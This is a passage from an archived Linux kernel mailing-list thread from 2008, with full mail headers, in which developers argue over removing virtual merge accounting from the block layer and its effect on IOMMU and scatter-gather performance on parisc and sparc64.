	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KImRB-0002ec-TH
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 17:27:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758100AbYGOPZ2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 11:25:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754441AbYGOPZ2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 11:25:28 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:46643 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753118AbYGOPZZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 11:25:25 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FFOAmN015342;
	Tue, 15 Jul 2008 11:24:10 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFO95S004963;
	Tue, 15 Jul 2008 11:24:09 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFO9sx005659;
	Tue, 15 Jul 2008 11:24:09 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FFO9Ro028822;
	Tue, 15 Jul 2008 11:24:09 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FFO85H028818;
	Tue, 15 Jul 2008 11:24:08 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216133421.3312.30.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:500 gmane.linux.kernel:706915 gmane.linux.scsi:43170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/500>

>>> On sparc64 it is broken anyway with or without your patch.
>>
>> Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
>> worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.
>>
>>
>>> And alpha alone doesn't justify substantial code bloat in generic block
>>> layer. So I propose this patch to drop it at all.
>>
>> Jens, what do you think about removing VMERGE code?
>
> Actually, it's code I did.
>
> There are plusses and minusses to all of this.  The original vmerge code
> was done for sparc ... mainly because the benefits of virtual merging
> can offset the cost of having to use the iommu.  However, most
> architectures didn't use it.  When I fixed it up to work for parisc (and
> introduced the parameters) we were trying to demonstrate that using it
> was feasible.
>
> The idea behind vmerging is that assembling and programming sg lists is
> expensive, so you want to do it once.  Either in the iommu or in the
> driver sg list, but not in both.  There is evidence that it saves around
> 7% or so on drivers.  However, for architectures that can do it, better
> savings are made simply by lifting the iommu out of the I/O path (so
> called bypass mode).

The problem is with vmerge accounting in block layer (that is what I'm 
proposing to remove), not with vmerge itself.

Vmerge accounting has advantages only if you have device with small amount 
of sg slots --- it allows the block layer to create request that has 
higher number of segments then the device.

If you have device with for example 1024 slots, the virtual merge 
accounting has no effect, because the any request will fit into that size. 
Even without virtual merge accounting, the virtual merging will happen, so 
there will be no performance penalty for the controller --- the controller 
will be programmed with exactly the same number of segments as if virtual 
merge accounting was present. (there could be even slight positive 
performance effect if you remove accounting, because you burn less CPU 
cycles per request)

If you have device will small number of sg slots (16 or so), vmerge 
accounting can improve performance by creating requests with more than 16 
segments --- the question is: is there any such device? And is the device 
performance-sensitive? (i.e. isn't it such an old hardware where no one 
cares about performance anyway?)

> I suspect with IOMMUs coming back (and being unable to be bypassed) with
> virtualisation, virtual merging might once more become a significant
> value.

I suppose that no one would manufacture new SCSI card with 16 or 32 sg 
slots these days, so the accounting of hardware segments has no effect on 
modern hardware.

Mikulas

> James
>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Wed, 16 Jul 2008 00:30:43 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <20080716003047P.fujita.tomonori@lab.ntt.co.jp>
References: <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
	<20080715231956A.fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216135948 22159 80.91.229.12 (15 Jul 2008 15:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 15:32:28 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 17:33:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KImWf-0004tg-QT
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 17:33:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754171AbYGOPbh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 11:31:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755833AbYGOPbg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 11:31:36 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:53701 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752437AbYGOPbf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 11:31:35 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6FFUhqf010539;
	Wed, 16 Jul 2008 00:30:43 +0900
In-Reply-To: <Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
Original-Lines: 24
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:501 gmane.linux.kernel:706920 gmane.linux.scsi:43171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/501>

On Tue, 15 Jul 2008 10:37:58 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> >>> This bug could happen on alpha, parisc, and sparc, which use VMERGE.
> >>
> >> Parisc doesn't use virtual merge accounting (there is variable for it but
> >> it's always 0).
> >
> > Hmm, really? Looks like PARISC IOMMUs (ccio-dma.c and sba_iomm.c) set
> > parisc_vmerge_boundary (CC'ed PARISC mailing list).
> 
> That's right, I looked only at arch and include.
> 
> >> On sparc64 it is broken anyway with or without your patch.
> >
> > Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
> > worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.
> 
> Even if we fix it now, the question is: how long it will stay fixed? Until 
> someone makes another change to struct device that restricts boundaries on 
> some wacky hardware.

I'm not sure how the boundary restriction of a device can break
the VMERGE accounting.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Tue, 15 Jul 2008 10:41:43 -0500
Lines: 96
Approved: news@gmane.org
Message-ID: <1216136503.3312.48.camel@localhost.localdomain>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
	 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
	 <1216133421.3312.30.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216136526 24386 80.91.229.12 (15 Jul 2008 15:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 15:42:06 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 17:42:53 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KImfu-0000j1-PL
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 17:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755225AbYGOPlt (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 11:41:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754930AbYGOPlt
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 11:41:49 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:44902 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753101AbYGOPls (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 11:41:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9E7558BDA;
	Tue, 15 Jul 2008 10:41:45 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216136505; bh=95TQXM856hGEw/bmHwpVqg4uOua9Di/1vwYXVoFfxE
	c=; l=4292; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=DRAROuGEOXZqyXY8waAe5vq5kTdK1XzAY4mFI
	q1QHiJrg6iDotu2Uc5uJZjcwzaUhhnbbA4kBwmXV+W/c3si2dOnRO6Ad70Puj+DU+tn
	Xxwb9Af0QbS+YGRXJOwaLZ3Irh6gEsC1JDBL2Xl3EJy9+tjv2YLxbBEbJeVNTS5QwUU
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kWl3UjHTnhDL; Tue, 15 Jul 2008 10:41:44 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 0DC4E7F9A;
	Tue, 15 Jul 2008 10:41:43 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216136504; bh=95TQXM856hGEw/bmHwpVqg4uOua9Di/1vwYXVoFfxE
	c=; l=4292; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=NMjg+e4VdRd2jt4bOFfu3LQdGSujVWUVAObvm
	Xj/1KoVFbuSTzMHEvt46GTgSyAAmIj0j6KV/PHnQLjUeQ0D8oOFQIDsE5be+DmpqklQ
	2ienKnQiI+P7fSOYn8vj2QNpOR0psGM1wNcU8xHKDcIfaEwQWIij0DspsU0lzxLiPls
	=
In-Reply-To: <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43172 gmane.linux.kernel:706926 gmane.linux.ports.parisc:502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/502>

On Tue, 2008-07-15 at 11:24 -0400, Mikulas Patocka wrote:
> >>> On sparc64 it is broken anyway with or without your patch.
> >>
> >> Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
> >> worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.
> >>
> >>
> >>> And alpha alone doesn't justify substantial code bloat in generic block
> >>> layer. So I propose this patch to drop it at all.
> >>
> >> Jens, what do you think about removing VMERGE code?
> >
> > Actually, it's code I did.
> >
> > There are plusses and minusses to all of this.  The original vmerge code
> > was done for sparc ... mainly because the benefits of virtual merging
> > can offset the cost of having to use the iommu.  However, most
> > architectures didn't use it.  When I fixed it up to work for parisc (and
> > introduced the parameters) we were trying to demonstrate that using it
> > was feasible.
> >
> > The idea behind vmerging is that assembling and programming sg lists is
> > expensive, so you want to do it once.  Either in the iommu or in the
> > driver sg list, but not in both.  There is evidence that it saves around
> > 7% or so on drivers.  However, for architectures that can do it, better
> > savings are made simply by lifting the iommu out of the I/O path (so
> > called bypass mode).
> 
> The problem is with vmerge accounting in block layer (that is what I'm 
> proposing to remove), not with vmerge itself.

I don't think that's true ... otherwise parisc would be falling over
left right and centre.

> Vmerge accounting has advantages only if you have device with small amount 
> of sg slots --- it allows the block layer to create request that has 
> higher number of segments then the device.

This isn't really true either.  A lot of devices with a high sg slot
count are still less efficient than an iommu for programming.

Even if they're not, on parisc we have to program the iommu, we can't
bypass, so it still makes sense to only have one large sg list (in the
iommu) and one small one (in the device).  Having two large ones reduces
our I/O throughput because of the extra overhead.

> If you have device with for example 1024 slots, the virtual merge 
> accounting has no effect, because the any request will fit into that size. 

It's not about fitting a request, it's about efficient processing.

> Even without virtual merge accounting, the virtual merging will happen, so 
> there will be no performance penalty for the controller --- the controller 
> will be programmed with exactly the same number of segments as if virtual 
> merge accounting was present. (there could be even slight positive 
> performance effect if you remove accounting, because you burn less CPU 
> cycles per request)

Yes there is.  Both the iommu and the device have to traverse large SG
lists.  This is where the inefficiency lies.  On PA, we use exactly the
same number of iotlb slots whether virtual merging is in effect or not,
but the device has an internal loop to go over the list.  It's that loop
that virtual merging reduces.

Since the virtual merge computation is in line when the request is built
(by design) it doesn't really detract from the throughput and the cost
is pretty small.

> If you have device will small number of sg slots (16 or so), vmerge 
> accounting can improve performance by creating requests with more than 16 
> segments --- the question is: is there any such device? And is the device 
> performance-sensitive? (i.e. isn't it such an old hardware where no one 
> cares about performance anyway?)
> 
> > I suspect with IOMMUs coming back (and being unable to be bypassed) with
> > virtualisation, virtual merging might once more become a significant
> > value.
> 
> I suppose that no one would manufacture new SCSI card with 16 or 32 sg 
> slots these days, so the accounting of hardware segments has no effect on 
> modern hardware.

It's not about accounting, it's about performance.  There's a cost in
every device to traversing large count sg lists.  If you have to bear it
in the iommu (which is usually more efficient because the iotlb tends to
follow mmtlb optimisations) you can reduce the cost by eliminating it
from the device.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 11:46:46 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
References: <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
 <Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
 <20080716003047P.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1216136905 26471 80.91.229.12 (15 Jul 2008 15:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 15:48:25 +0000 (UTC)
Cc: jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 17:49:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KImm7-0003gK-Mu
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 17:49:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757615AbYGOPry (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 11:47:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761288AbYGOPrx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 11:47:53 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:53224 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755244AbYGOPrw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 11:47:52 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FFkmP1024095;
	Tue, 15 Jul 2008 11:46:48 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFkl1Z029459;
	Tue, 15 Jul 2008 11:46:47 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFklim010511;
	Tue, 15 Jul 2008 11:46:47 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FFkkgI030166;
	Tue, 15 Jul 2008 11:46:46 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FFkkJt030162;
	Tue, 15 Jul 2008 11:46:46 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <20080716003047P.fujita.tomonori@lab.ntt.co.jp>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:503 gmane.linux.kernel:706931 gmane.linux.scsi:43173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/503>

>> Even if we fix it now, the question is: how long it will stay fixed? Until
>> someone makes another change to struct device that restricts boundaries on
>> some wacky hardware.
>
> I'm not sure how the boundary restriction of a device can break
> the VMERGE accounting.

Because block layer code doesn't know anything about the device, pci 
access restrictions and so on.

Someone already broken DaveM's Sparc64 merging by adding boundaries (it 
was broken even before, but these boundary checks made it worse).

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 11:58:05 -0400 (EDT)
Lines: 87
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
  <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com> 
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>  <1216133421.3312.30.camel@localhost.localdomain>
  <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
 <1216136503.3312.48.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1216137559 28999 80.91.229.12 (15 Jul 2008 15:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 15:59:19 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 18:00:06 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KImwf-0008Lt-1W
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 18:00:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753817AbYGOP7I (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 11:59:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753475AbYGOP7I
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 11:59:08 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:36387 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753817AbYGOP7G (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 11:59:06 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FFw6g6029017;
	Tue, 15 Jul 2008 11:58:06 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFw60a008372;
	Tue, 15 Jul 2008 11:58:06 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FFw6bd012600;
	Tue, 15 Jul 2008 11:58:06 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FFw5FD030840;
	Tue, 15 Jul 2008 11:58:05 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FFw5bb030836;
	Tue, 15 Jul 2008 11:58:05 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216136503.3312.48.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43174 gmane.linux.kernel:706939 gmane.linux.ports.parisc:504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/504>

You are mixing two ideas here:

(1) virtual merging --- IOMMU maps discontinuous segments into continuous 
area that it presents to the device.

(2) virtual merge accounting --- block layer tries to guess how many 
segments will be created by (1) and merges small requests into big ones. 
The resulting requests are as big that they can't be processed by the 
device if (1) weren't in effect.

>> The problem is with vmerge accounting in block layer (that is what I'm
>> proposing to remove), not with vmerge itself.
>
> I don't think that's true ... otherwise parisc would be falling over
> left right and centre.
>
>> Vmerge accounting has advantages only if you have device with small amount
>> of sg slots --- it allows the block layer to create request that has
>> higher number of segments then the device.
>
> This isn't really true either.  A lot of devices with a high sg slot
> count are still less efficient than an iommu for programming.

--- for these devices virtual merging (1) improves performance, but 
virtual merge accounting (2) doesn't.

> Even if they're not, on parisc we have to program the iommu, we can't
> bypass, so it still makes sense to only have one large sg list (in the
> iommu) and one small one (in the device).  Having two large ones reduces
> our I/O throughput because of the extra overhead.
>
>> If you have device with for example 1024 slots, the virtual merge
>> accounting has no effect, because the any request will fit into that size.
>
> It's not about fitting a request, it's about efficient processing.

Virtual merge accounting (2) is about fitting a request. It is block layer 
technique.

>> Even without virtual merge accounting, the virtual merging will happen, so
>> there will be no performance penalty for the controller --- the controller
>> will be programmed with exactly the same number of segments as if virtual
>> merge accounting was present. (there could be even slight positive
>> performance effect if you remove accounting, because you burn less CPU
>> cycles per request)
>
> Yes there is.  Both the iommu and the device have to traverse large SG
> lists.  This is where the inefficiency lies.  On PA, we use exactly the
> same number of iotlb slots whether virtual merging is in effect or not,
> but the device has an internal loop to go over the list.  It's that loop
> that virtual merging reduces.
>
> Since the virtual merge computation is in line when the request is built
> (by design) it doesn't really detract from the throughput and the cost
> is pretty small.

The purpose of (1) virtual merging is to save device's sg slots. The 
purpose of (2) virtual merge accounting is to allow block layer to build 
larger requests. If you remove virtual merge accounting, it will cause no 
increase in number of sg slots used.

>>> I suspect with IOMMUs coming back (and being unable to be bypassed) with
>>> virtualisation, virtual merging might once more become a significant
>>> value.
>>
>> I suppose that no one would manufacture new SCSI card with 16 or 32 sg
>> slots these days, so the accounting of hardware segments has no effect on
>> modern hardware.
>
> It's not about accounting, it's about performance.  There's a cost in
> every device to traversing large count sg lists.  If you have to bear it
> in the iommu (which is usually more efficient because the iotlb tends to
> follow mmtlb optimisations) you can reduce the cost by eliminating it
> from the device.

That's why I'm proposing to remove virtual merge accounting (2), but leave 
virtual merging (1) itself. The accounting doesn't reduce number of sg 
slots.

Mikulas

> James
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Tue, 15 Jul 2008 11:07:51 -0500
Lines: 98
Approved: news@gmane.org
Message-ID: <1216138072.3312.54.camel@localhost.localdomain>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
